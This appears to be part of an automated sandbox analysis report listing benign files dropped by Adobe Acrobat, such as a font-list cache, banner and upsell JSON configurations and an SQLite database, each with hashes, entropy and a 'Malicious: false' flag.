Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7928

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.376988539254912
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJM3g98kUwPeUkwRe9:YvXKXY01KRZc0vAVGMbLUkee9
MD5:	CA8CC3947E4034AB563EFD96DBE96CD0
SHA1:	2764252867C389A9D62328FDA35ED27F074142A1
SHA-256:	F8EB0CE4D5007D95EB561C3EFBB4D8544A9C0F95F4874F7171F6321D18574338
SHA-512:	328568B30C130D124672D686939C52718615150E429D5E75E87ACD8B2F7074F2E4315A6BB72766E8F84DB3502A84A2E040BD6E0916E31479D65B9B0F760DB95A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.327976925197839
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJfBoTfXpnrPeUkwRe9:YvXKXY01KRZc0vAVGWTfXcUkee9
MD5:	2EC12B0D6A1A29CE98FD4ABF5EDC444A
SHA1:	F1712E38AFC2C20841984C8E81D2FC5754720171
SHA-256:	B7C389EBB3CE0DBB5B423275B242DD46525B87C566CB00E389B2DDF5F84DE396
SHA-512:	F1DA1D772B3FC8AA915CA130B5F1CF86C5A6E1DCF545CC9D4D9C216F9BD5B4308A026F9DB5B7F789C86C96D7751663D5F4414F50A6726B9BFAC9C627F746BD87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306236420555646
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJfBD2G6UpnrPeUkwRe9:YvXKXY01KRZc0vAVGR22cUkee9
MD5:	69202B1B39A20A123DD52B635D2AEDCC
SHA1:	05F211E68DEF735E49267D60D12042BBB9E9F1B9
SHA-256:	7D561E08DE0A1582F07AD9A4D40424F713317DD1DF9E431911D004EBC08691D1
SHA-512:	FBB38A5CB2644DD341F9E2ECA9713E94C87814F7AE89EA06057E3BD3556E45900DD72F88DC608BB5AB68DF5D150DB6C1A035356543E5786273CFCB617C9BA369
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3644771209917455
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJfPmwrPeUkwRe9:YvXKXY01KRZc0vAVGH56Ukee9
MD5:	C3428F56F355C65EF49B1AAA290D0796
SHA1:	D768E6BAC09A2C117AC64FE1BD9990D537C9C620
SHA-256:	4E8B56C247B180E574CD2F6FCED03ECB9190D7CCECED3074BFC3948248BC1137
SHA-512:	712E3A5C79D9C96C5E5DAC0F02851FECBC76FB8E1DCCDF9FC132E7094D98F54D88F9E45FCF29AAD0D5C8E147B3D30CC74FFB7569DA5225FFB0C193C50693F478
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68995693976784
Encrypted:	false
SSDEEP:	24:Yv6XYjRzvA6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSO:Yv3jFY6hgy6SAFv5Ah8cv/O
MD5:	B57C226A6973833A062F67EFBC5F2A01
SHA1:	9177BE6AE5E57DEED20A7620BAAFB61A80F03071
SHA-256:	ACE9EAE0CD104C88E3BD595512A75F05C40F4F669C77E3B6BEEBC4D38CE16E7A
SHA-512:	4057E81124359EC284123BF804C828F8E9C6B7878E7B3646EE2AFC8F6259BB6A4E008C83C07B60995BD683EC8DE7922CEB8E25C74CDCCEDA12703CB587E411F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310026255316365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJf8dPeUkwRe9:YvXKXY01KRZc0vAVGU8Ukee9
MD5:	F85E4CD0FFC7CDEE089A22ADBA35224F
SHA1:	5830C5B1A33B0088C50CBD69AA248908AAA64557
SHA-256:	CB82E75CCCC7BCBC347CC4270F85F2A7AAC22F92F128842C43440A17DF88E8CE
SHA-512:	3B95B3FD7BE7A6026F799500A6B83781BB15116AFA4C62F51081233E6E4A95C36ED494C560B589DC7036707FC2108B905DD08B4B803C00E9FE329891F6E46AF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.314114680863648
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJfQ1rPeUkwRe9:YvXKXY01KRZc0vAVGY16Ukee9
MD5:	DB0E62EC9B14D0C80BD88340850057F7
SHA1:	37C4EF567C937FF8692B388A3E1FEC382D4BF3E8
SHA-256:	899DAE1CB84BB79091788C36489620BB21A67801CBC4029A14AE49194DF93521
SHA-512:	83BE9EE88247C639DADF4DFA3FBCA116085292F9A74582BD38DE5A7C4A1CD9105E7062245CDDE190ED4455A363C45F0BAFEF515DDC80F40D3E186BDF2BC5B2CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318493439995969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJfFldPeUkwRe9:YvXKXY01KRZc0vAVGz8Ukee9
MD5:	3A7D544128BE819811DD07A9153CA8B0
SHA1:	CCF32D8295D43D5EF442C2EFAA4ACAB200F7D060
SHA-256:	6AA10212B65012381C1D74A9475E5DFCF05742C0093A3103B0B8D4D1CC484BC7
SHA-512:	3DAA8EBEB191DB3A16AA10DB4A40EFA07A951C63B46F52452BBB958DE159DDC6AA3051B68E57E083A37B5C0F109E0C604CEE4ED437AD3CA4AE5E40C52F15AC8E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3356293154113335
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJfzdPeUkwRe9:YvXKXY01KRZc0vAVGb8Ukee9
MD5:	20EA6F851FB05AD689C78228084C7468
SHA1:	356E47526CC9BD27BF92BA4A63BAFC11E221F79C
SHA-256:	1B9C553C0DAE15D94061C05C7C88BBB0315BBCBFEC15E94A32A7D2E1B716C47E
SHA-512:	5B0A50D63AABE864D03E78AC8D0DD531375A5B04E8FE276C95B01658082E5B7ADA155A546C38CA45EA3CD5DB7F7C0FAD1D381D8FB930ECC6644E20484BCD38C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316610754264456
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJfYdPeUkwRe9:YvXKXY01KRZc0vAVGg8Ukee9
MD5:	F52880B1906B8996E9C04FCD92145B23
SHA1:	1CB48E9467B7F30F9A8FCC4E2241513975C92A7E
SHA-256:	7D1CBCE83F7B28AFA0A4FE782A5DC516DA3608F06B9C9E833046D084C602D823
SHA-512:	1DE7B482CFF9CEF60359729FCE9721E006A5B87268C3375D4DEC9897AD5E73EBE3744A421CCEEA8A7AD78EB69EEC661C06CC3A122C8D7BD7818EFDA0C9B3409A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.302953569944098
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJf+dPeUkwRe9:YvXKXY01KRZc0vAVG28Ukee9
MD5:	D299C89A1D56463CBC5E44CAAED6B4B2
SHA1:	2CB178BC05B900AB46031A46EA3B4AB10FB9DBB2
SHA-256:	B79855463B3368253C0F461E4F2A26AC007C01C9ABB19A90E9844CA7BCBCF4B6
SHA-512:	24772E7030D8576C4590E814D9FB7B131B3F1119B51B905A2085A33674766E85A9A9E16A9115762D34F58CF8445C75294E9DBD50A29FA50746F8588499968596
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.30004368867877
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJfbPtdPeUkwRe9:YvXKXY01KRZc0vAVGDV8Ukee9
MD5:	03C3405AF943E4924C5DC154F71A63D8
SHA1:	967A27BAF71108212E0E6626C89F3187F5BD7973
SHA-256:	8812FCFCCDBD987BD4DF4202646C8A9BED52A484804ABF083884BA91B33BCAC1
SHA-512:	3AC359839BE103C177883B8450D71CAFD11DD083F9D50E228B53B7338E7AD3378F50E5C24A703BDD511DEAF858B8F46B6EAA9E1EC0303F279BCCB853BDD837CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.304925058959661
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJf21rPeUkwRe9:YvXKXY01KRZc0vAVG+16Ukee9
MD5:	6B5FF03DCF95865B1FE51D2D9BF75BC6
SHA1:	868D67E3311B8E8E4582E9594D7A361106F561C1
SHA-256:	C13FCFF795CC86C30CFB072A347767324967822228039309A57E1421A03F29B9
SHA-512:	0F23ECA157E4F13904597E6856E92FD8D21AB47F9538E0F35D55A4D942B580FE72C8EF2D7F3086C854157F12D04E1C11CBBC9EE3F5C60AE07DC2AE66FEF67E49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665900755694659
Encrypted:	false
SSDEEP:	24:Yv6XYjRzvAmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSO:Yv3jFYoBgkDMUJUAh8cvMO
MD5:	DDC47FB63AF07AA63DC9B8F1C0225EE5
SHA1:	319FEA4EF745582AF10B4B54BC05CC5277DF834B
SHA-256:	77E3AD42FAB523D1DF14FCAE36025337F81A791578F7B8613E92ED3849CB4624
SHA-512:	A24ED15FF480AFDC3269EE136965A10F3D5D8539DE48FF467C9C7146DE17257446BDAB7F0FBC3B0EEC5FEC8151CA8C050BB00E01C44B0963C988101CD4E719AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.279483321601073
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJfshHHrPeUkwRe9:YvXKXY01KRZc0vAVGUUUkee9
MD5:	911F3845ED600AB5A042F49E32220AF9
SHA1:	0839D9A6DBD1E908D59C34D85F3F2D45308890B0
SHA-256:	D79C7D5EC2D337D6719687F0FB3A2036F358123E3CE4F8B1C2BBEF32F9B313FB
SHA-512:	DFE8DD98B94F2C4C5D4D763936ABDC3DFD04A8E4EE01FADFC08A98DC610E944DDD00CB8C1ECE611702B57BAF12F9A366466ABD1189B04E6F10698367294DDD21
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.290136701015825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPg0tHlnUIVoZcg1vRcR0YJeoAvJTqgFCrPeUkwRe9:YvXKXY01KRZc0vAVGTq16Ukee9
MD5:	98937F740E3D35CE6EBBDB0EA9ABF834
SHA1:	0BFFA3B8CB7A5FB85CF284FE4FFB78B1CE67673B
SHA-256:	3A0FD54A4AA279ACB0E49078FC431010126D5D6DB988E7B97BE84F772E5BB679
SHA-512:	A29CC9C60B89B0F46FB0697576F9F215C03EAF0138BA2CCA65AEF118251018048E30F365A6C05CBA655DF9A4C51F1EB567D901D1747B777CA59940723AA5A40D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"88857c8d-adc3-4102-bed8-f55066521a10","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736743554394,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143357081819894
Encrypted:	false
SSDEEP:	48:Y65ZJVQXvVZfLVmVxFpV5YxVCV2VDWfVFVa6tVZPDceVDVBHzVMz97VLV8:JtQfLIDFpTEAQpWfPxbflvHzo7pS
MD5:	656A420332D84C3E3224D73E3B263780
SHA1:	AB021FBE53F8541B41A6B74432E4427D38A0E537
SHA-256:	F7BDA4FD275C6E79EDDA7ACFCF0F3BF949CCA593C1C41A7E26083E89636C3379
SHA-512:	94F4844B5E2AB6CEB16AA11514475996BE3E6BBEB5E2F4E2B5AEEAD10DED828613421E4A068CD889731DF28F274DC37725ECB8527DC6BE8277CF744F13FFD409
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"953354a596c7ff69e5c7d8496e62ac45","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736567664000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"534993cf8417605f9034b0bbbbc3e113","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736567663000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2b67658d73edda5d2728ddca29755f83","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736567663000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7491e26f3a5d2b31a1ff3ea58d1a8ec6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736567663000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c6c9e6288ddf81c985a1aaf1cf05d961","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736567663000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"194b66820d5706b2f12656480bb249fc","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1870929545350797
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUsxGjSvR9H9vxFGiDIAEkGVvpYxG7:lNVmswUUUUUUUUsxGj+FGSItsxG7
MD5:	81B16D07C1F121AFDCA6B0E23F654DE5
SHA1:	DF2B345B7BC562BBE391F63D5FBE891C2E2E4F5A
SHA-256:	439FF4924180E117FC505143213925B680202CA5C3C70BF1164B632E357AFB3E
SHA-512:	F1168D85E3E12B5EDB18521B1B71BAC0737B1E4073C8BDA3917570C9543FBE15F48FC269C2053E0BEEFE18A3A211C5B0C26B256DEA5A2551A8F21E3784D0EAA8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

